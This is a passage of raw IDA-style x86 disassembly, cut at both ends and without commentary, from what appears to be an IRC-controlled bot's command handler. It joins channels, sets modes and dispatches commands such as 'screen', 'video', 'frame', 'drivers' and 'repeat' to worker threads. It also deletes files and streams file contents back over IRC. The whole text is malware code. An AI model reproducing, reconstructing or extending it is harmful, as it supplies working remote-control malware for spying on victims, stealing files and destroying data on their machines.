		jle	short loc_4085FF
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_428064	; Sleep


loc_4085FF:				; CODE XREF: sub_401B66+6A81j
		push	offset dword_42B670
		call	sub_4157A5
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_408613:				; CODE XREF: sub_401B66+4995j
					; sub_401B66+49ACj
		push	[ebp+var_8C]
		push	offset dword_42DFCC
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F9E
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C840
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2C0]
		jz	short loc_4086CE
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42B684
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B658
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		push	[ebp+arg_10]
		call	sub_41BF49
		add	esp, 38h
		test	eax, eax
		jle	loc_40976F
		push	[ebp+arg_10]
		call	sub_41BF49
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_4086CE:				; CODE XREF: sub_401B66+6AF3j
		push	offset unk_42B624
		jmp	loc_408F53
; ---------------------------------------------------------------------------


loc_4086D8:				; CODE XREF: sub_401B66+4967j
					; sub_401B66+497Ej
		push	7Fh
		lea	eax, [ebp+var_207C]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	7Fh
		lea	eax, [ebp+var_1FFC]
		push	edi
		push	eax
		call	sub_41BDC0
		push	7Fh
		lea	eax, [ebp+var_1F7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1EF8],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1EF4],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_2080],	esi
		push	offset unk_42B5F0
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Fh
		push	eax
		call	sub_40AF8D
		add	esp, 40h
		mov	[ebp+var_1EFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2080]
		push	ebx
		push	eax
		push	offset sub_4149E9
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_1EFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_40879C
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B5B4
		jmp	loc_408860
; ---------------------------------------------------------------------------


loc_408794:				; CODE XREF: sub_401B66+6C3Cj
		push	32h
		call	dword_428064	; Sleep


loc_40879C:				; CODE XREF: sub_401B66+6C1Bj
		cmp	[ebp+var_1EF0],	ebx
		jz	short loc_408794
		jmp	loc_40886F
; ---------------------------------------------------------------------------


loc_4087A9:				; CODE XREF: sub_401B66+4939j
					; sub_401B66+4950j
		push	7Fh
		lea	eax, [ebp+var_23A4]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		push	7Fh
		lea	eax, [ebp+var_2324]
		push	edi
		push	eax
		call	sub_41BDC0
		push	7Fh
		lea	eax, [ebp+var_22A4]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2220],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_221C],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_23A8],	esi
		push	offset dword_42B588
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	11h
		push	eax
		call	sub_40AF8D
		add	esp, 40h
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23A8]
		push	ebx
		push	eax
		push	offset sub_414191
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_2224]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_408897
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B54C


loc_408860:				; CODE XREF: sub_401B66+6C29j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_40886F:				; CODE XREF: sub_401B66+6C3Ej
					; sub_401B66+6D39j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FE4
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FDC
; ---------------------------------------------------------------------------


loc_40888F:				; CODE XREF: sub_401B66+6D37j
		push	32h
		call	dword_428064	; Sleep


loc_408897:				; CODE XREF: sub_401B66+6CECj
		cmp	[ebp+var_2218],	ebx
		jz	short loc_40888F
		jmp	short loc_40886F
; ---------------------------------------------------------------------------


loc_4088A1:				; CODE XREF: sub_401B66+490Bj
					; sub_401B66+4922j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B544
		push	eax
		call	sub_41C056
		push	[ebp+arg_10]
		call	sub_41BF49
		add	esp, 10h


loc_4088BE:				; CODE XREF: sub_401B66+6DC3j
		test	eax, eax
		jle	loc_40976F
		push	[ebp+arg_10]
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_40976F


loc_4088DA:				; CODE XREF: sub_401B66+793Aj
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42B53C
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	sub_40993C
		jmp	loc_404984
; ---------------------------------------------------------------------------


loc_408905:				; CODE XREF: sub_401B66+48DDj
					; sub_401B66+48F4j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset dword_42B530
		push	eax
		call	sub_41C056
		push	[ebp+arg_10]
		call	sub_41BF49
		add	esp, 14h
		jmp	short loc_4088BE
; ---------------------------------------------------------------------------


loc_40892B:				; CODE XREF: sub_401B66+48AFj
					; sub_401B66+48C6j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CB14
		push	eax
		call	sub_41C056
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41BF49
		add	esp, 10h
		test	eax, eax
		jle	loc_40976F
		push	esi
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_40976F
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42B53C
		push	esi
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	sub_40993C
		push	edi
		push	esi
		push	offset dword_42B514


loc_40898E:				; CODE XREF: sub_401B66+6EB0j
					; sub_401B66+6F1Cj ...
		call	sub_415819
		jmp	loc_404292
; ---------------------------------------------------------------------------


loc_408998:				; CODE XREF: sub_401B66+4881j
					; sub_401B66+4898j
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089C7
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B50C
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_4089C7:				; CODE XREF: sub_401B66+6E4Aj
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jle	loc_40976F
		push	edi
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_40976F
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42B53C
		push	edi
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	sub_40993C
		push	esi
		push	edi
		push	offset dword_42B4F0
		jmp	loc_40898E
; ---------------------------------------------------------------------------


loc_408A1B:				; CODE XREF: sub_401B66+4853j
					; sub_401B66+486Aj
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40976F
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jle	loc_40976F
		push	edi
		call	sub_41BF49
		cmp	eax, 400h
		pop	ecx
		jge	loc_40976F
		push	esi
		push	offset dword_42B53C
		push	edi
		call	sub_41BF49
		imul	eax, 234h
		pop	ecx
		push	dword_440BA4[eax]
		call	sub_40993C
		push	esi
		push	edi
		push	offset dword_42B4D4
		jmp	loc_40898E
; ---------------------------------------------------------------------------


loc_408A87:				; CODE XREF: sub_401B66+4825j
					; sub_401B66+483Cj
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41C0D0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40976F
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	esi
		push	offset unk_42B4AC


loc_408ABB:				; CODE XREF: sub_401B66+7AD3j
					; sub_401B66+7AF0j ...
		call	sub_415819
		jmp	loc_4034DF
; ---------------------------------------------------------------------------


loc_408AC5:				; CODE XREF: sub_401B66+47F7j
					; sub_401B66+480Ej
		push	[ebp+var_8C]
		push	offset dword_42DFCC
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F9E
		push	edi
		push	offset dword_42B4A0
		push	[ebp+arg_4]
		call	sub_40993C
		push	[ebp+arg_10]
		call	sub_41BF49
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_428064	; Sleep
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	offset dword_42B48C
		call	sub_4157A5
		jmp	loc_4034DF
; ---------------------------------------------------------------------------


loc_408B29:				; CODE XREF: sub_401B66+47C9j
					; sub_401B66+47E0j
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		call	sub_41B7B0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B7B0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C0D0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40976F
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42BBC4
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409982
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42B470
		call	sub_415819
		add	esp, 2Ch
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_408B9B:				; CODE XREF: sub_401B66+479Bj
					; sub_401B66+47B2j
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		call	sub_41B7B0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B7B0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C0D0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40976F
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409982
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42B450
		call	sub_415819
		add	esp, 20h
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_408BF5:				; CODE XREF: sub_401B66+476Dj
					; sub_401B66+4784j
		cmp	[ebp+var_C], ebx
		jz	loc_401F9E
		push	edi
		push	[ebp+var_C]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F9E
		push	eax
		push	[ebp+arg_10]
		call	sub_4156AD
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42B430
		push	eax
		call	sub_41C056
		add	esp, 14h
		jmp	loc_403FC3
; ---------------------------------------------------------------------------


loc_408C36:				; CODE XREF: sub_401B66+473Fj
					; sub_401B66+4756j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418BBC


loc_408C4B:				; CODE XREF: sub_401B66+25A2j
		add	esp, 14h
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_408C53:				; CODE XREF: sub_401B66+4701j
					; sub_401B66+4716j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40976F
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_408CEE
		push	esi
		push	[ebp+var_C]
		call	sub_41C0D0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jz	short loc_408CDC
		push	esi
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42B684
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BDC0
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	offset unk_42B408
		push	eax
		call	sub_41C056
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_4090C0
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: sub_401B66+7122j
		push	offset unk_42B3D8
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	loc_4090C0
; ---------------------------------------------------------------------------


loc_408CEE:				; CODE XREF: sub_401B66+710Bj
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B4B0
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B3BC
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 24h
		jmp	loc_4090C0
; ---------------------------------------------------------------------------


loc_408D37:				; CODE XREF: sub_401B66+46D7j
					; sub_401B66+46ECj
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D92
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408D7F
		push	edi
		call	sub_4159B5
		cmp	eax, 1
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jnz	short loc_408D78
		push	edi
		push	offset unk_42B388
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	short loc_408D92
; ---------------------------------------------------------------------------


loc_408D78:				; CODE XREF: sub_401B66+71FFj
		push	offset unk_42B358
		jmp	short loc_408D8A
; ---------------------------------------------------------------------------


loc_408D7F:				; CODE XREF: sub_401B66+71EDj
		push	offset unk_42B31C
		lea	eax, [ebp+var_2C0]


loc_408D8A:				; CODE XREF: sub_401B66+7217j
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_408D92:				; CODE XREF: sub_401B66+71E2j
					; sub_401B66+7210j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E1F
		xor	edi, edi


loc_408DA7:				; CODE XREF: sub_401B66+72A4j
		lea	eax, [ebp+var_53F4]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EEC]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CDC94
		test	eax, eax
		jz	short loc_408E06
		lea	eax, [ebp+var_53F4]
		push	eax
		lea	eax, [ebp+var_4EEC]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D84]
		push	offset unk_42B2EC
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_5D84]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 28h


loc_408E06:				; CODE XREF: sub_401B66+7262j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408DA7
		lea	eax, [ebp+var_2C0]
		push	offset unk_42B2C4
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_408E1F:				; CODE XREF: sub_401B66+723Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408EC0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408EAD
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408EAD
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408EAD
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408EAD
		push	eax
		call	sub_41BF49
		pop	ecx
		push	eax
		push	edi
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_415BF0
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_408EA6
		push	[ebp+esi+var_88]
		push	offset unk_42B290
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	short loc_408EC0
; ---------------------------------------------------------------------------


loc_408EA6:				; CODE XREF: sub_401B66+7327j
		push	offset unk_42B25C
		jmp	short loc_408EB8
; ---------------------------------------------------------------------------


loc_408EAD:				; CODE XREF: sub_401B66+72D7j
					; sub_401B66+72E0j ...
		push	offset unk_42B224
		lea	eax, [ebp+var_2C0]


loc_408EB8:				; CODE XREF: sub_401B66+7345j
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_408EC0:				; CODE XREF: sub_401B66+72CAj
					; sub_401B66+733Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40909F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	loc_408F6B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_408F6B
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_408F6B
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_408F6B
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_408F6B
		push	esi
		call	sub_41BF49
		pop	ecx
		push	eax
		push	edi
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41BF49
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_415DE9
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_408F61
		push	[ebp+arg_1C]
		push	offset unk_42B1F0


loc_408F53:				; CODE XREF: sub_401B66+6B6Dj
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_40909F
; ---------------------------------------------------------------------------


loc_408F61:				; CODE XREF: sub_401B66+73E3j
		push	offset unk_42B1B0
		jmp	loc_409097
; ---------------------------------------------------------------------------


loc_408F6B:				; CODE XREF: sub_401B66+737Dj
					; sub_401B66+738Fj ...
		push	offset unk_42B16C
		lea	eax, [ebp+var_2C0]
		jmp	loc_409097
; ---------------------------------------------------------------------------


loc_408F7B:				; CODE XREF: sub_401B66+3FE2j
					; sub_401B66+3FF7j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41BC92
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_408FF9
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C0]
		push	esi
		push	eax
		call	sub_41C31F
		add	esp, 0Ch
		jmp	short loc_408FD3
; ---------------------------------------------------------------------------


loc_408FA8:				; CODE XREF: sub_401B66+746Fj
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		push	edi
		lea	eax, [ebp+var_2C0]
		push	esi
		push	eax
		call	sub_41C31F
		add	esp, 20h


loc_408FD3:				; CODE XREF: sub_401B66+7440j
		test	eax, eax
		jnz	short loc_408FA8
		push	edi
		call	sub_41B82B
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42B148
		push	eax
		call	sub_41C056
		add	esp, 10h
		jmp	loc_406CBC
; ---------------------------------------------------------------------------


loc_408FF9:				; CODE XREF: sub_401B66+7428j
		push	[ebp+arg_10]
		push	offset unk_42B124
		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_409006:				; CODE XREF: sub_401B66+3FB8j
					; sub_401B66+3FCDj
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41C0D0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40976F
		push	offset asc_42B120 ; "\n"
		push	esi
		call	sub_41C690
		push	esi
		call	sub_41A1FF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_40904B
		push	offset unk_42B0F4
		jmp	short loc_409097
; ---------------------------------------------------------------------------


loc_40904B:				; CODE XREF: sub_401B66+74DCj
		push	esi
		push	offset dword_42B0DC
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	short loc_4090C0
; ---------------------------------------------------------------------------


loc_40905C:				; CODE XREF: sub_401B66+3F8Ej
					; sub_401B66+3FA3j
		cmp	[ebp+var_C], ebx
		jz	loc_40976F
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40976F
		push	eax
		call	sub_4188EC
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jnz	short loc_409092
		push	offset unk_42B0BC
		jmp	short loc_409097
; ---------------------------------------------------------------------------


loc_409092:				; CODE XREF: sub_401B66+7523j
		push	offset dword_42B0A0


loc_409097:				; CODE XREF: sub_401B66+7400j
					; sub_401B66+7410j ...
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_40909F:				; CODE XREF: sub_401B66+736Bj
					; sub_401B66+73F6j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4090C0
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_4090C0:				; CODE XREF: sub_401B66+7171j
					; sub_401B66+7183j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		pop	ecx
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_4090D2:				; CODE XREF: sub_401B66+3F64j
					; sub_401B66+3F79j
		push	7Fh
		lea	eax, [ebp+var_2210]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BDC0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409103
		push	7Fh
		lea	eax, [ebp+var_2190]
		push	esi
		push	eax
		call	sub_41BDC0
		add	esp, 0Ch


loc_409103:				; CODE XREF: sub_401B66+7589j
		push	7Fh
		lea	eax, [ebp+var_2110]
		push	[ebp+var_88]
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_2214],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_208C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2088],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42B088
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ch
		push	eax
		call	sub_40AF8D
		add	esp, 24h
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2214]
		push	ebx
		push	eax
		push	offset sub_41B576
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_2090]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4091A6
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B048
		jmp	loc_40448C
; ---------------------------------------------------------------------------


loc_40919E:				; CODE XREF: sub_401B66+7646j
		push	32h
		call	dword_428064	; Sleep


loc_4091A6:				; CODE XREF: sub_401B66+7625j
		cmp	[ebp+var_2084],	ebx
		jz	short loc_40919E
		jmp	loc_406CBC
; ---------------------------------------------------------------------------


loc_4091B3:				; CODE XREF: sub_401B66+3F3Aj
					; sub_401B66+3F4Fj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_4101B7
		push	[ebp+arg_10]
		push	offset dword_42B030
		jmp	loc_40898E
; ---------------------------------------------------------------------------


loc_4091D2:				; CODE XREF: sub_401B66+3F10j
					; sub_401B66+3F25j
		push	14h
		lea	eax, [ebp+var_1D44]
		push	ebx
		push	eax
		call	sub_41BD60
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1D30]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C056
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1D4C],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_1C2C]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1BA4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_1C2C]
		push	eax
		lea	eax, [ebp+var_1D30]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42B00C
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Ah
		push	eax
		call	sub_40AF8D
		add	esp, 40h
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		push	offset sub_416398
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_1BA8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4092A7


loc_40928E:				; CODE XREF: sub_401B66+748j
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AFD0
		jmp	loc_408338
; ---------------------------------------------------------------------------


loc_40929F:				; CODE XREF: sub_401B66+7747j
		push	32h
		call	dword_428064	; Sleep


loc_4092A7:				; CODE XREF: sub_401B66+7726j
		cmp	[ebp+var_1B9C],	ebx
		jz	short loc_40929F
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_4092B4:				; CODE XREF: sub_401B66+3EE6j
					; sub_401B66+3EFBj
		push	[ebp+arg_10]
		call	dword_428080	; DeleteFileA
		test	eax, eax
		jz	short loc_4092CB
		push	[ebp+arg_10]
		push	offset dword_42AFB4
		jmp	short loc_4092D6
; ---------------------------------------------------------------------------


loc_4092CB:				; CODE XREF: sub_401B66+7759j
		push	offset dword_42B800
		call	sub_418827
		push	eax


loc_4092D6:				; CODE XREF: sub_401B66+7763j
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41C150


loc_4092E7:				; CODE XREF: sub_401B66+7856j
		add	esp, 10h
		jmp	loc_406C9B
; ---------------------------------------------------------------------------


loc_4092EF:				; CODE XREF: sub_401B66+3EBCj
					; sub_401B66+3ED1j
		push	[ebp+arg_10]
		call	sub_41BF49
		push	eax
		call	sub_41A178
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+arg_10]
		cmp	eax, esi
		lea	eax, [ebp+var_2C0]
		jnz	short loc_409316
		push	offset unk_42AF90
		jmp	short loc_40931B
; ---------------------------------------------------------------------------


loc_409316:				; CODE XREF: sub_401B66+77A7j
		push	offset unk_42AF60


loc_40931B:				; CODE XREF: sub_401B66+77AEj
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406CBF
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h
		jmp	loc_406CBF
; ---------------------------------------------------------------------------


loc_40934E:				; CODE XREF: sub_401B66+3E92j
					; sub_401B66+3EA7j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419E77
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_409374
		push	offset unk_42AF40
